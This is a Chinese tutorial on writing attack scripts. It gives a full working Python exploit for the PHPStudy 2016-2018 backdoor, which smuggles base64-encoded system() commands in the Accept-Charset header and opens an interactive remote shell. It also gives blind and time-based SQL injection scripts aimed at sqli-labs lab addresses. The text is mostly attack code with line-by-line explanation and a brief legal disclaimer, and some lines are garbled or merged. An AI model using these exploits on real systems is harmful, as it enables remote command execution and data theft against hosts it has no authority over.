1. phpstudy 后门脚本编写
# 导入所需模块和库:
python
import requests
import base64
import sys
import re
import random
import string
#代码使用了 requests 库来发送 HTTP 请求,base64 库用于进行 Base64 编码,sys 模块用于获取命令行参数,re #模块用于处理正则表达式,random 和 string 模块用于生成随机字符串。
# 定义脚本的 banner 和用法提示:
python
banner = """
#PHPStudy_2016-2018
...
"""
print(banner)
# 这部分代码定义了一个脚本的标志(banner),在运行脚本时会打印出来,并提供了脚本的使用方法。
# 定义攻击函数 attack(cmd, url):
python
def attack(cmd, url):
cmd = f'''system("{cmd}");'''
cmd = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
"Accept-Encoding" : "gzip,deflate",
"Accept-Charset" : f"{cmd}"
}
res = requests.get(url=url, headers=headers)
html = res.content.decode()
offset = html.find("<!DOCTYPE html")
result = html[0:offset].strip()
return result
# attack 函数用于发送包含命令的 HTTP 请求,并解析响应内容。它首先构造要执行的命令,将其通过 Base64 编码后放入请求的 Accept-Charset 头部。然后,使用 requests 库发送请求,并获取响应内容。接着,从响应内容中截取有效部分(在 <!DOCTYPE html 标签之前的内容),并返回结果。
# 定义生成随机字符串的函数 gen_random_str(l):
python
def gen_random_str(l):
s = ""
for i in range(l):
s += random.choice(string.ascii_letters)
return s
# 这个函数用于生成指定长度的随机字符串。它使用了 random 模块和 string 模块来生成大小写字母组成的字符串。
# 定义验证漏洞的函数 verify(url):
python
def verify(url):
random_str = gen_random_str(32)
cmd = f"echo {random_str}"
if random_str in attack(cmd, url):
return True
else:
return False
# verify 函数用于验证目标网址是否存在漏洞。它生成一个随机字符串,并构造一个命令,在命令中输出该随机字符串。然后,通过调用 attack 函数发送包含命令的请求,检查随机字符串是否出现在响应内容中。如果出现,则说明目标网址存在漏洞,返回 True;否则,返回 False。
# 处理命令行参数:
python
if len(sys.argv) < 2:
print(banner)
exit()
url = sys.argv[1]
print(f"Target: {url}")
#这部分代码判断命令行参数是否足够,并获取目标网址。
# 验证目标漏洞并执行攻击:
python
if not verify(url):
print(f"The Target is NOT VULNERABLE!")
exit()
flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")
if flag == "n":
exit()
info = re.findall(r'http://(.*)/', url)[0]
while True:
cmd = input(f"<{info}> ")
if cmd == "exit":
break
print(attack(cmd, url))
# 这部分代码首先调用 verify 函数验证目标网址是否存在漏洞。如果不存在漏洞,则输出提示信息并退出脚本。如果存在漏洞,则询问用户是否要继续执行攻击,只有在用户输入 'Y' 或 'y' 时才会继续。然后,进入一个循环,不断接收用户输入的命令,并调用 attack 函数执行攻击并输出结果。
# 需要注意的是,在实际应用中,这样的攻击行为是非法且具有严重风险的。请不要滥用这种攻击脚本,遵守法律法规,并且仅在合法授权的情况下使用。
import requests
import base64
import sys
import re
import random
import string
banner = """
PHPStudy_2016-2018
( ) ( ) ( )
| |_ _ _ ___ | |/') _| | _ _ _ __
| '_`\ /'_` ) /'___)| , < /'_` | /'_`\ /'_`\ ( '__)
| |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |
(_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)
- AJEST
Usage: python3 *.py http://10.4.7.130/phpinfo.php
"""
def attack(cmd, url):
cmd = f'''system("{cmd}");'''
cmd = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
"Accept-Encoding" : "gzip,deflate",
"Accept-Charset" : f"{cmd}"
}
res = requests.get(url = url, headers = headers)
html = res.content.decode()
offset = html.find("<!DOCTYPE html")
result = html[0:offset].strip()
return result
def gen_random_str(l):
s = ""
for i in range(l):
i
s += random.choice(string.ascii_letters)
return s
def verify(url):
random_str = gen_random_str(32)
cmd = f"echo {random_str}"
if random_str in attack(cmd, url):
return True
else:
return False
if len(sys.argv) < 2:
print(banner)
exit()
url = sys.argv[1]
print(f"Target: {url}")
if not verify(url):
print(f"The Target is NOT VULNERABLE!")
exit()
flag = input(f"The Target is VULNERABLE!\nCould you want to continue?[Y/n]")
if flag == "n":
exit()
info = re.findall(r'http://(.*)/', url)[0]
while True:
cmd = input(f"<{info}> ")
if cmd == "exit":
break
print(attack(cmd, url))
2. sql 注入脚本编写
2.1 sql盲注脚本
这段 Python 代码是一个用于获取 SQL 注入漏洞数据库相关信息的脚本,在执行前需要先了解 SQL 注入攻击的原理以及相关的技术细节。
下面对代码进行详细解析:
import requests
import string
代码使用了 requests 库来发送 HTTP 请求,string 模块用于进行字符集的处理。
url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
定义目标网址和初始参数:这部分代码定义了目标网址、数据库长度变量 i 和用于存储数据库名称的变量 name,同时使用 string.printable.strip() 函数得到 ASCII 可打印字符集(去掉空格),并赋值给 c_list 变量。
while True:
i += 1
payload = f"?id=2' and length(database())= {i} --+"
full_url = url + payload
res = requests.get(url=full_url)
if "You are in..........." in res.text:
print(f"数据库长度为{i}")
con_len = i
break
获取数据库长度:这部分代码使用了二分法的思想,逐步增加数据库名长度并通过注入判断得出正确的长度。将构造好的 payload 添加到目标网址中,然后使用 requests 库发送请求,从响应结果中判断是否存在检索到数据的提示信息("You are in...........")。如果存在,说明注入成功,打印出数据库长度并退出循环。
for i in range(con_len):
i += 1
for c in c_list:
payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+"
full_url = url + payload
res = requests.get(url=full_url)
if "You are in..........." in res.text:
name += c
break
print(f"数据库名为{name}")
#获取数据库名称:
这部分代码构造类似于获取数据库长度的注入语句,通过二分法的思想依次获取数据库名称。在第一层循环中,逐个字符地进行检查;在第二层循环中,对每种可打印字符(除了空格以外)进行尝试,并将 ASCII 码值作为注入语句的参数进行构造。如果注入语句执行成功,则说明当前字符是正确的,将它拼接到 name 变量中;如果失败,则继续尝试下一个字符。最终,在获取完整个数据库名称之后,输出获取的结果即可。
import requests
import string
url = "http://192.168.232.182/sqli-labs/Less-8/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
while True:
i += 1
payload = f"?id=2' and length(database())= {i} --+"
full_url = url + payload
# print(full_url)
res = requests.get(url=full_url)
# print(res)
if "You are in..........." in res.text:
print(f"数据库长度为{i}")
con_len = i
break
"""
数据库名称
"""
for i in range(con_len):
i += 1
for c in c_list:
payload = f"?id=2' and ascii(substr(database(),{i},1))= {ord(c)} --+" full_url = url + payload
res = requests.get(url=full_url)
# print(full_url)
if "You are in..........." in res.text:
name += c
break
print(f"数据库名为{name}")
sql延时注入脚本
import requests
import string
url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
"""
数据库长度
"""
def get_timeout():
try:
full_url = url + payload
res = requests.get(url=full_url, timeout=2)
except:
return "timeout"
else:
return res.text
while True:
i += 1
payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"
full_url = url + payload
# print(full_url)
if "timeout" in get_timeout():
# print(i)
break
con_len = i
print(f"数据库的长度为{i}")
"""
数据库名称
"""
def get_name(i,c):
try:
payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"
full_url = url + payload
res = requests.get(url=full_url, timeout=2)
except:
return "timeout"
else:
return res.text
for i in range(con_len):
i += 1
for c in c_list:
get_name(i=i,c=c)
# print(full_url)
if "timeout" in get_name(i,c):
name += c
break
print(f"数据库名为{name}")
定义目标网址和初始参数,以及 ASCII 可打印字符集:
url = "http://192.168.232.182/sqli-labs/Less-9/"
i = 0
name = " "
c_list = string.printable.strip()
定义一个函数 get_timeout() 来判断请求是否超时:
def get_timeout():
try:
full_url = url + payload
res = requests.get(url=full_url, timeout=2)
except:
return "timeout"
else:
return res.text
使用循环逐步增加数据库名称的长度,通过注入语句中执行 sleep(3) 来判断请求是否超时,从而得到数据库名称的长度
while True:
i += 1
payload = f"?id=2' and if(length(database())={i},sleep(3),1)--+"
full_url = url + payload
if "timeout" in get_timeout():
break
con_len = i
print(f"数据库的长度为{i}")
定义一个函数 get_name(i,c) 来获取数据库名称的每个字符:
def get_name(i,c):
try:
payload = f"?id=2' and if(ascii(substr(database(),{i},1))={ord(c)},sleep(3),1) --+"
full_url = url + payload
res = requests.get(url=full_url, timeout=2)
except:
return "timeout"
else:
return res.text
嵌套循环来逐个字符地获取数据库名称,通过判断请求是否超时来确定字符的正确性:
for i in range(con_len):
i += 1
for c in c_list:
get_name(i=i,c=c)
if "timeout" in get_name(i,c):
name += c
break
print(f"数据库名为{name}")